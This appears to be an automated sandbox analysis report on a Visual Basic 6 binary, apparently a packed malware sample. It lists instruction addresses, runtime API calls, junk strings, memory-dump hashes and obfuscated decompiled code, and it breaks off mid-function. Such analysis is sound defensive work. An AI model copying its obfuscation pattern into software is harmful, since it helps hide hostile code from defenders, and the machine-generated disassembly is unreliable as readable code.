0x0040d453
0x0040d460
0x0040d466
0x0040d470
0x0040d476
0x0040d49e
0x0040d4ab
0x0040d4ac
0x0040d4ad
0x0040d4ae
0x0040d4b6
0x0040d4ca
0x0040d4ce
0x0040d4dc
0x0040d4eb
0x0040d4f3
0x0040d4f7
0x0040d4fb
0x0040d4ff
0x0040d503
0x0040d507
0x0040d508
0x0040d50a
0x0040d518
0x0040d51f
0x0040d526
0x0040d52a
0x0040d52b
0x0040d52d
0x0040d532
0x0040d53c
0x0040d559
0x0040d53e
0x0040d53e
0x0040d543
0x0040d548
0x0040d54d
0x0040d54d
0x0040d57d
0x0040d581
0x0040d586
0x0040d5a1
0x0040d5a4
0x0040d5a6
0x0040d5b3
0x0040d5d5
0x0040d5b5
0x0040d5b5
0x0040d5b7
0x0040d5bc
0x0040d5c2
0x0040d5c8
0x0040d5cd
0x0040d5cd
0x0040d5e3
0x0040d600
0x0040d5e5
0x0040d5e5
0x0040d5ea
0x0040d5ef
0x0040d5f4
0x0040d5f4
0x0040d624
0x0040d628
0x0040d62d
0x0040d645
0x0040d64b
0x0040d64d
0x0040d65a
0x0040d67f
0x0040d65c
0x0040d65c
0x0040d661
0x0040d666
0x0040d66c
0x0040d672
0x0040d677
0x0040d677
0x0040d68d
0x0040d6aa
0x0040d68f
0x0040d68f
0x0040d694
0x0040d699
0x0040d69e
0x0040d69e
0x0040d6ce
0x0040d6d2
0x0040d6d7
0x0040d6f2
0x0040d6f8
0x0040d6fa
0x0040d707
0x0040d72c
0x0040d709
0x0040d709
0x0040d70e
0x0040d713
0x0040d719
0x0040d71f
0x0040d724
0x0040d724
0x0040d739
0x0040d73f
0x0040d746
0x0040d74d
0x0040d757
0x0040d767
0x0040d773
0x0040d7c0
0x0040d7cc
0x0040d7d2
0x0040d7da
0x0040d7de
0x0040d7e2
0x0040d7e3
0x0040d7e5
0x0040d7ea
0x0040d7f0
0x0040d7fc
0x0040d819
0x0040d7fe
0x0040d7fe
0x0040d803
0x0040d808
0x0040d80d
0x0040d80d
0x0040d83d
0x0040d841
0x0040d846
0x0040d85e
0x0040d861
0x0040d863
0x0040d870
0x0040d892
0x0040d872
0x0040d872
0x0040d874
0x0040d879
0x0040d87f
0x0040d885
0x0040d88a
0x0040d88a
0x0040d8a0
0x0040d8bd
0x0040d8a2
0x0040d8a2
0x0040d8a7
0x0040d8ac
0x0040d8b1
0x0040d8b1
0x0040d8e1
0x0040d8e5
0x0040d8ea
0x0040d902
0x0040d908
0x0040d90a
0x0040d917
0x0040d93c
0x0040d919
0x0040d919
0x0040d91e
0x0040d923
0x0040d929
0x0040d92f
0x0040d934
0x0040d934
0x0040d94a
0x0040d967
0x0040d94c
0x0040d94c
0x0040d951
0x0040d956
0x0040d95b
0x0040d95b
0x0040d98b
0x0040d98f
0x0040d994
0x0040d9af
0x0040d9b2
0x0040d9b4
0x0040d9c1
0x0040d9e3
0x0040d9c3
0x0040d9c3
0x0040d9c5
0x0040d9ca
0x0040d9d0
0x0040d9d6
0x0040d9db
0x0040d9db
0x0040d9ea
0x0040d9f4
0x0040da04
0x0040da0a
0x0040da17
0x0040da1d
0x0040da27
0x0040da2d
0x0040da37
0x0040da44
0x0040da4a
0x0040da54
0x0040da57
0x0040da5e
0x0040da68
0x0040da96
0x0040daa0
0x0040daa1
0x0040daa2
0x0040daa3
0x0040dab3
0x0040dab9
0x0040dac6
0x0040dae8
0x0040dac8
0x0040dac8
0x0040dacd
0x0040dad2
0x0040dad5
0x0040dadb
0x0040dae0
0x0040dae0
0x0040dafd
0x0040db19
0x0040db1e
0x0040db29
0x0040db2f
0x0040db31
0x0040db3e
0x0040db60
0x0040db40
0x0040db40
0x0040db45
0x0040db4a
0x0040db4d
0x0040db53
0x0040db58
0x0040db58
0x00000000
0x0040db67
0x0040db6e
0x0040db8b
0x0040db70
0x0040db70
0x0040db75
0x0040db7a
0x0040db7f
0x0040db7f
0x0040dbaf
0x0040dbb3
0x0040dbb8
0x0040dbd3
0x0040dbd6
0x0040dbd8
0x0040dbe5
0x0040dc07
0x0040dbe7
0x0040dbe7
0x0040dbe9
0x0040dbee
0x0040dbf4
0x0040dbfa
0x0040dbff
0x0040dbff
0x0040dc15
0x0040dc32
0x0040dc17
0x0040dc17
0x0040dc1c
0x0040dc21
0x0040dc26
0x0040dc26
0x0040dc56
0x0040dc5a
0x0040dc5f
0x0040dc77
0x0040dc7d
0x0040dc7f
0x0040dc8c
0x0040dcb1
0x0040dc8e
0x0040dc8e
0x0040dc93
0x0040dc98
0x0040dc9e
0x0040dca4
0x0040dca9
0x0040dca9
0x0040dcbf
0x0040dcdc
0x0040dcc1
0x0040dcc1
0x0040dcc6
0x0040dccb
0x0040dcd0
0x0040dcd0
0x0040dd00
0x0040dd04
0x0040dd09
0x0040dd24
0x0040dd2a
0x0040dd2c
0x0040dd39
0x0040dd5e
0x0040dd3b
0x0040dd3b
0x0040dd40
0x0040dd45
0x0040dd4b
0x0040dd51
0x0040dd56
0x0040dd56
0x0040dd6b
0x0040dd71
0x0040dd78
0x0040dd7f
0x0040dd89
0x0040dd99
0x0040dda5
0x0040ddf2
0x0040ddfe
0x0040de04
0x0040de0c
0x0040de10
0x0040de14
0x0040de15
0x0040de17
0x0040de1c
0x0040de22
0x0040de2e
0x0040de4b
0x0040de30
0x0040de30
0x0040de35
0x0040de3a
0x0040de3f
0x0040de3f
0x0040de6f
0x0040de73
0x0040de78
0x0040de90
0x0040de93
0x0040de95
0x0040dea2
0x0040dec4
0x0040dea4
0x0040dea4
0x0040dea6
0x0040deab
0x0040deb1
0x0040deb7
0x0040debc
0x0040debc
0x0040ded2
0x0040deef
0x0040ded4
0x0040ded4
0x0040ded9
0x0040dede
0x0040dee3
0x0040dee3
0x0040df13
0x0040df17
0x0040df1c
0x0040df34
0x0040df3a
0x0040df3c
0x0040df49
0x0040df6e
0x0040df4b
0x0040df4b
0x0040df50
0x0040df55
0x0040df5b
0x0040df61
0x0040df66
0x0040df66
0x0040df7c
0x0040df99
0x0040df7e
0x0040df7e
0x0040df83
0x0040df88
0x0040df8d
0x0040df8d
0x0040dfbd
0x0040dfc1
0x0040dfc6
0x0040dfe1
0x0040dfe4
0x0040dfe6
0x0040dff3
0x0040e015
0x0040dff5
0x0040dff5
0x0040dff7
0x0040dffc
0x0040e002
0x0040e008
0x0040e00d
0x0040e00d
0x0040e01c
0x0040e026
0x0040e036
0x0040e03c
0x0040e049
0x0040e04f
0x0040e059
0x0040e05f
0x0040e069
0x0040e076
0x0040e07c
0x0040e086
0x0040e089
0x0040e090
0x0040e09a
0x0040e0c8
0x0040e0d2
0x0040e0d3
0x0040e0d4
0x0040e0d5
0x0040e0e5
0x0040e0eb
0x0040e0f8
0x0040e11a
0x0040e0fa
0x0040e0fa
0x0040e0ff
0x0040e104
0x0040e107
0x0040e10d
0x0040e112
0x0040e112
0x0040e124
0x0040e128
0x0040e12c
0x0040e12d
0x0040e12f
0x0040e13d
0x0040e144
0x0040e148
0x0040e149
0x0040e14b
0x0040e150
0x0040e15a
0x0040e177
0x0040e15c
0x0040e15c
0x0040e161
0x0040e166
0x0040e16b
0x0040e16b
0x0040e19b
0x0040e19f
0x0040e1a4
0x0040e1bf
0x0040e1c5
0x0040e1c7
0x0040e1d4
0x0040e1f9
0x0040e1d6
0x0040e1d6
0x0040e1db
0x0040e1e0
0x0040e1e6
0x0040e1ec
0x0040e1f1
0x0040e1f1
0x0040e207
0x0040e224
0x0040e209
0x0040e209
0x0040e20e
0x0040e213
0x0040e218
0x0040e218
0x0040e248
0x0040e24c
0x0040e251
0x0040e269
0x0040e26f
0x0040e271
0x0040e27e
0x0040e2a3
0x0040e280
0x0040e280
0x0040e285
0x0040e28a
0x0040e290
0x0040e296
0x0040e29b
0x0040e29b
0x0040e2ad
0x0040e2b3
0x0040e2bd
0x0040e2c3
0x0040e2d3
0x0040e2d9
0x0040e2e3
0x0040e2ed
0x0040e300
0x0040e316
0x0040e31b
0x0040e321
0x0040e323
0x0040e324
0x0040e325
0x0040e326
0x0040e333
0x0040e33f
0x0040e348
0x0040e34e
0x0040e352
0x0040e353
0x0040e355
0x0040e363
0x0040e367
0x0040e368
0x0040e36a
0x0040e36f
0x0040e379
0x0040e396
0x0040e37b
0x0040e37b
0x0040e380
0x0040e385
0x0040e38a
0x0040e38a
0x0040e3ba
0x0040e3be
0x0040e3c3
0x0040e3db
0x0040e3e1
0x0040e3e3
0x0040e3f0
0x0040e415
0x0040e3f2
0x0040e3f2
0x0040e3f7
0x0040e3fc
0x0040e402
0x0040e408
0x0040e40d
0x0040e40d
0x0040e424
0x0040e429
0x0040e436
0x0040e43c
0x0040e446
0x0040e449
0x0040e467
0x0040e46d
0x0040e47a
0x0040e49c
0x0040e47c
0x0040e47c
0x0040e481
0x0040e486
0x0040e489
0x0040e48f
0x0040e494
0x0040e494
0x0040e4a6
0x0040e4ae
0x0040e4b6
0x0040e4be
0x0040e4c1
0x00000000
0x00000000
0x0040e4c7
0x0040e4d1
0x00000000
0x0040e4d3
0x0040e4e0
0x0040e4e6
0x0040e4ed
0x0040e4ee
0x0040e55b
0x0040e560
0x0040e580
0x0040e580
0x0040e588
0x0040e597
0x0040e5a1
0x0040e5a9
0x0040e5ac
0x0040e5b3
0x0040e5c2
0x0040e5cc
0x0040e5e6
0x0040e5ce
0x0040e5ce
0x0040e5d3
0x0040e5d8
0x0040e5dd
0x0040e5dd
0x0040e5f7
0x0040e601
0x0040e605
0x0040e60a
0x0040e60d
0x0040e614
0x0040e61b
0x0040e622
0x0040e629
0x0040e630
0x0040e63a
0x0040e644
0x0040e645
0x0040e646
0x0040e647
0x0040e64b
0x0040e655
0x0040e656
0x0040e657
0x0040e658
0x0040e65c
0x0040e666
0x0040e667
0x0040e668
0x0040e669
0x0040e671
0x0040e67c
0x0040e682
0x0040e684
0x0040e68b
0x0040e6a7
0x0040e68d
0x0040e68d
0x0040e692
0x0040e697
0x0040e69a
0x0040e69d
0x0040e6a2
0x0040e6a2
0x0040e6ae
0x0040e6b3
0x0040e6b4
0x00000000

APIs

__vbaChkstk.MSVBVM60(?,004011F6), ref: 0040C4B8
__vbaLenBstrB.MSVBVM60(0040B740,?,?,?,?,004011F6), ref: 0040C4EC
__vbaChkstk.MSVBVM60 ref: 0040C525
__vbaChkstk.MSVBVM60 ref: 0040C539
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B468,000002B0), ref: 0040C57C
__vbaNew2.MSVBVM60(0040AB94,00410010,0040B740,?,?,?,?,004011F6), ref: 0040C5A3
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C5DC
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,000000F8), ref: 0040C626
__vbaStrCopy.MSVBVM60(00000000,?,0040B744,000000F8), ref: 0040C642
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040C6AD
__vbaFreeStr.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040C6C4
__vbaFreeObj.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040C6CC
__vbaFreeVar.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040C6D4
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040C6EC
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C725
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000060), ref: 0040C76C
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040C793
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C7CC
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040B744,00000060), ref: 0040C813
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040C83A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C873
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000060), ref: 0040C8BA
__vbaVarDup.MSVBVM60(00000000,?,0040B7BC,00000060), ref: 0040C928
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040C9A2
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,004011F6), ref: 0040C9B7
__vbaNew2.MSVBVM60(0040AB94,00410010,?,?,?,?,?,?,004011F6), ref: 0040C9D2
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CA0B
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000178), ref: 0040CA58
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040CA7F
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CAB8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000120), ref: 0040CB02
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040CB29
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CB62
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,000000E0), ref: 0040CBAF
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040CBD6
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CC0F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7EC,000000E8), ref: 0040CC5C
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040CC83
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CCBC
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,000000F0), ref: 0040CD06
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040CD28
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,004011F6), ref: 0040CD52
__vbaI4Var.MSVBVM60(?,?), ref: 0040CD8E
__vbaChkstk.MSVBVM60(?,?,?,0001C0C4,00000000,?,?), ref: 0040CDAE
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B498,00000700), ref: 0040CDF3
__vbaFreeStr.MSVBVM60(00000000,00401148,0040B498,00000700), ref: 0040CE1C
__vbaFreeObjList.MSVBVM60(00000006,?,?,?,?,?,?), ref: 0040CE3B
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaChkstk.MSVBVM60(snydertampenes), ref: 0040CE74
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040CEAB
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE4
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000128), ref: 0040CF31
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040CF58
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CF91
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000120), ref: 0040CFDB
__vbaVarDup.MSVBVM60(00000000,?,0040B7BC,00000120), ref: 0040D045
__vbaChkstk.MSVBVM60(00000009,?), ref: 0040D05B
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040D09A
__vbaFreeVarList.MSVBVM60(00000002,?,?), ref: 0040D0AF
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D0CA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D103
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7EC,000000B0), ref: 0040D14D
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 0040D16C
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D187
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0040D1C0
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000148), ref: 0040D20A
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D231
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D26A
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000080), ref: 0040D2B7
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D2DE
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D317
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000170), ref: 0040D361
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D388
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D3C1
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000060), ref: 0040D408
__vbaChkstk.MSVBVM60(?,008789B5,00000003,?), ref: 0040D49E
__vbaI4Var.MSVBVM60(?,00000008,8E1C83F0,00005AF9,?,?,008789B5,00000003,?), ref: 0040D4CE
__vbaVarMove.MSVBVM60(?,?,008789B5,00000003,?), ref: 0040D4EB
__vbaFreeObjList.MSVBVM60(00000006,?,00000000,?,?,?,?,?,?,008789B5,00000003,?), ref: 0040D50A
__vbaFreeVarList.MSVBVM60(00000004,?,00000008,00000009,?), ref: 0040D52D
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D548
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D581
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000060), ref: 0040D5C8
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D5EF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D628
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,000000F8), ref: 0040D672
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D699
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0040D6D2
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000128), ref: 0040D71F
__vbaFreeStr.MSVBVM60 ref: 0040D7D2
__vbaFreeObjList.MSVBVM60(00000003,?,?,00000000), ref: 0040D7E5
__vbaFreeVar.MSVBVM60 ref: 0040D7F0
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D808
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D841
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000050), ref: 0040D885
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D8AC
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D8E5
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000170), ref: 0040D92F
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040D956
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D98F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000060), ref: 0040D9D6
__vbaChkstk.MSVBVM60(002900F5,Dlgsmaals,00000009,00000003,0B47A6A0), ref: 0040DA96
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B498,00000704), ref: 0040DADB
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040DAFD
__vbaFreeVarList.MSVBVM60(00000003,00000008,00000009,00000003), ref: 0040DB19
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B468,000002B4), ref: 0040DB53
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040DB7A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040DBB3
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000060), ref: 0040DBFA
__vbaNew2.MSVBVM60(0040AB94,00410010,00000000,?,0040B744,00000060), ref: 0040DC21
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040DC5A
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040B744,000000F8), ref: 0040DCA4
__vbaNew2.MSVBVM60(0040AB94,00410010,00000000,00000000,0040B744,000000F8), ref: 0040DCCB
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0040DD04
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000128), ref: 0040DD51
__vbaFreeStr.MSVBVM60 ref: 0040DE04
__vbaFreeObjList.MSVBVM60(00000003,?,?,00000000), ref: 0040DE17
__vbaFreeVar.MSVBVM60 ref: 0040DE22
__vbaNew2.MSVBVM60(0040AB94,00410010), ref: 0040DE3A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040DE73
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000050), ref: 0040DEB7
__vbaNew2.MSVBVM60(0040AB94,00410010,00000000,?,0040B7BC,00000050), ref: 0040DEDE
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040DF17
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040B744,00000170), ref: 0040DF61
__vbaNew2.MSVBVM60(0040AB94,00410010,00000000,00000000,0040B744,00000170), ref: 0040DF88
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040DFC1
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,00000060), ref: 0040E008
__vbaChkstk.MSVBVM60(002900F5,Dlgsmaals,00000009,00000003,0B47A6A0), ref: 0040E0C8
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B498,00000704), ref: 0040E10D
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040E12F
__vbaFreeVarList.MSVBVM60(00000003,00000008,00000009,00000003), ref: 0040E14B
__vbaNew2.MSVBVM60(0040AB94,00410010,?,?,?,?,?,?,0040AB94,00410010), ref: 0040E166
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E19F
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B7BC,00000128), ref: 0040E1EC
__vbaNew2.MSVBVM60(0040AB94,00410010,00000000,?,0040B7BC,00000128), ref: 0040E213
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E24C
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040B7BC,00000120), ref: 0040E296
__vbaVarDup.MSVBVM60(00000000,00000000,0040B7BC,00000120), ref: 0040E300
__vbaChkstk.MSVBVM60(00000009,F61631D0), ref: 0040E316
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0040E355
__vbaFreeVarList.MSVBVM60(00000002,00000008,00000009), ref: 0040E36A
__vbaNew2.MSVBVM60(0040AB94,00410010,?,?,?,?,0040AB94,00410010,?,?,?,?,?,?,0040AB94,00410010), ref: 0040E385
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040E3BE
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040B744,000000F8), ref: 0040E408
__vbaStrCopy.MSVBVM60(00000000,?,0040B744,000000F8), ref: 0040E424
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040E48F
__vbaFreeStr.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040E4A6
__vbaFreeObj.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040E4AE
__vbaFreeVar.MSVBVM60(00000000,00401148,0040B498,000006FC), ref: 0040E4B6
__vbaFreeVar.MSVBVM60(0040E561), ref: 0040E55B

Strings

TCHADERE, xrefs: 0040C63A, 0040E41C
Oksehoveders, xrefs: 0040CD4A
SIGNIFIKANSNIVEAUERS, xrefs: 0040C90B
demideity, xrefs: 0040CE85
HALFPACE, xrefs: 0040D028, 0040E2E3
Rearouses, xrefs: 0040D794, 0040DDC6
unrecumbently, xrefs: 0040C960
Dlgsmaals, xrefs: 0040DA87, 0040E0B9
snydertampenes, xrefs: 0040CE6C
=hC, xrefs: 0040C672, 0040C678

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckHresult$New2$Free$List$Chkstk$Copy$CallLate$BstrMove
String ID: =hC$Dlgsmaals$HALFPACE$Oksehoveders$Rearouses$SIGNIFIKANSNIVEAUERS$TCHADERE$demideity$snydertampenes$unrecumbently
API String ID: 592220026-1976536754
Opcode ID: 27d4898137e99453904dd22091b7b18cbafe1645760f87344a6bc85057544244
Instruction ID: ba9f9c231950d50af64bd7007069db00520215a5c534fbfc44e55b25f5e9ed65
Opcode Fuzzy Hash: 27d4898137e99453904dd22091b7b18cbafe1645760f87344a6bc85057544244
Instruction Fuzzy Hash: 3A23E675900218DFDB21DF90CC85BDDBBB4BB08304F1084EAE549BB2A1DBB95A85DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00401394, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6&*), ref: 00401399

Strings

WF+, xrefs: 004013F3
VB5!6&*, xrefs: 00401394

Memory Dump Source

Source File: 00000000.00000002.470008193.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.469991038.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.470098390.0000000000410000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.470129369.0000000000412000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*$WF+
API String ID: 1341478452-2760438296
Opcode ID: 1313a21784057a05784a21c180e08cd6188d3e576860b37f1fd426699984af54
Instruction ID: 34aa7a29c1f999dfdb57cbf1b2ede69c112dc8f382a21299e7f6b40c395df681
Opcode Fuzzy Hash: 1313a21784057a05784a21c180e08cd6188d3e576860b37f1fd426699984af54
Instruction Fuzzy Hash: 5C4163A698E3C04FDB13877458AA6957FB09E63224B4E45EBC4C1DF1F3D26C084AC726

Uniqueness

Uniqueness Score: -1.00%

Function 00402DB7, Relevance: 1.7, APIs: 1, Instructions: 462
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00402DB7() {
				intOrPtr* _t6;
				void* _t8;
				void* _t23;
				void* _t25;
				signed int _t30;
				void* _t33;
				void* _t50;
				signed int _t52;
				void* _t58;
				void* _t62;

				_push(cs);
				asm("fldcw word [edx+0x77]");
				if(_t58 > 0) {
					_push(_t6);
					_push(_t6);
					L36:
					_push(_t6);
					_push(_t6);
					L37:
					_push(_t6);
					_push(_t6);
					L38:
					_push(_t6);
					_push(_t6);
					L39:
					_push(_t6);
					_push(_t6);
					L40:
					_push(_t6);
					_push(_t6);
					L41:
					_push(_t6);
					_push(_t6);
					L42:
					_push(_t6);
					_push(_t6);
					L43:
					_push(_t6);
					_push(_t6);
					L44:
					_push(_t6);
					_push(_t6);
					L45:
					_push(_t6);
					_push(_t6);
					L46:
					_push(_t6);
					_push(_t6);
					L47:
					_t23 = _t23 - 1 + 1;
					L48:
					_t50 = _t50 - 1;
					asm("ftst");
					L49:
					asm("in al, 0x66");
					L50:
					asm("packuswb mm7, mm6");
					L51:
					asm("invalid");
					L52:
					_push(_t6);
					L69:
					do {
						_t25 = _t23 - 1;
						asm("fnop");
						asm("wait");
						asm("fclex");
						_t23 = _t25 + 1;
						asm("clc");
						_t6 = _t6 - 1;
						asm("fdivrp st5, st0");
						asm("fscale");
						_t33 = _t30 - 1 + 1 - 1;
						asm("pcmpgtb mm5, mm3");
						asm("faddp st0, st0");
						_t30 = _t33 + 1;
						_t62 =  *_t6 - _t30;
						asm("invalid");
						asm("punpckhwd mm6, mm2");
						asm("fdecstp");
						asm("invalid");
					} while (_t62 != 0);
					asm("cld");
					asm("psrlw xmm4, 0x52");
					asm("fscale");
					asm("fcom st0, st3");
					asm("fldl2t");
					_t8 = _t6 - 1 + 1;
					asm("clc");
					asm("paddw xmm0, xmm1");
					asm("punpcklbw mm3, mm5");
					asm("fsubp st0, st0");
					asm("packuswb mm4, mm0");
					while(1) {
						asm("cld");
						 *(_t8 - 0x3fffffb) =  *(_t8 - 0x3fffffb) << 0xf;
						asm("emms");
						asm("fprem");
					}
				}
				if(_t58 > 0) {
					goto L36;
				}
				if(_t58 > 0) {
					goto L37;
				}
				if(_t58 > 0) {
					goto L38;
				}
				if(_t58 > 0) {
					goto L39;
				}
				if(_t58 > 0) {
					goto L40;
				}
				if(_t58 > 0) {
					goto L41;
				}
				if(_t58 > 0) {
					goto L42;
				}
				if(_t58 > 0) {
					goto L43;
				}
				if(_t58 > 0) {
					goto L44;
				}
				if(_t58 > 0) {
					goto L45;
				}
				if(_t58 > 0) {
					goto L46;
				}
				if(_t58 > 0) {
					goto L47;
				}
				if(_t58 > 0) {
					goto L48;
				}
				if(_t58 > 0) {
					goto L49;
				}
				if(_t58 > 0) {
					goto L50;
				}
				if(_t58 > 0) {
					goto L51;
				}
				if(_t58 > 0) {
					goto L52;
				}
				if(_t58 > 0) {
					asm("lodsb");
				}
				if(_t58 > 0) {
					_t52 = _t52 & _t30;
					L56:
					asm("into");
					asm("into");
					L57:
					asm("into");
					asm("into");
					L58:
					asm("into");
					asm("into");
					L59:
					asm("into");
					asm("into");
					L60:
					asm("into");
					asm("into");
					L61:
					asm("into");
					asm("into");
					L62:
					asm("into");
					asm("into");
					L63:
					asm("into");
					asm("into");
					L64:
					asm("into");
					asm("into");
					L65:
					asm("into");
					asm("into");
					L66:
					asm("into");
					asm("into");
					L67:
					asm("into");
					asm("into");
					L68:
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					asm("into");
					goto L69;
				}
				if(_t58 > 0) {
					goto L56;
				}
				if(_t58 > 0) {
					goto L57;
				}
				if(_t58 > 0) {
					goto L58;
				}
				if(_t58 > 0) {
					goto L59;
				}
				if(_t58 > 0) {
					goto L60;
				}
				if(_t58 > 0) {
					goto L61;
				}
				if(_t58 > 0) {
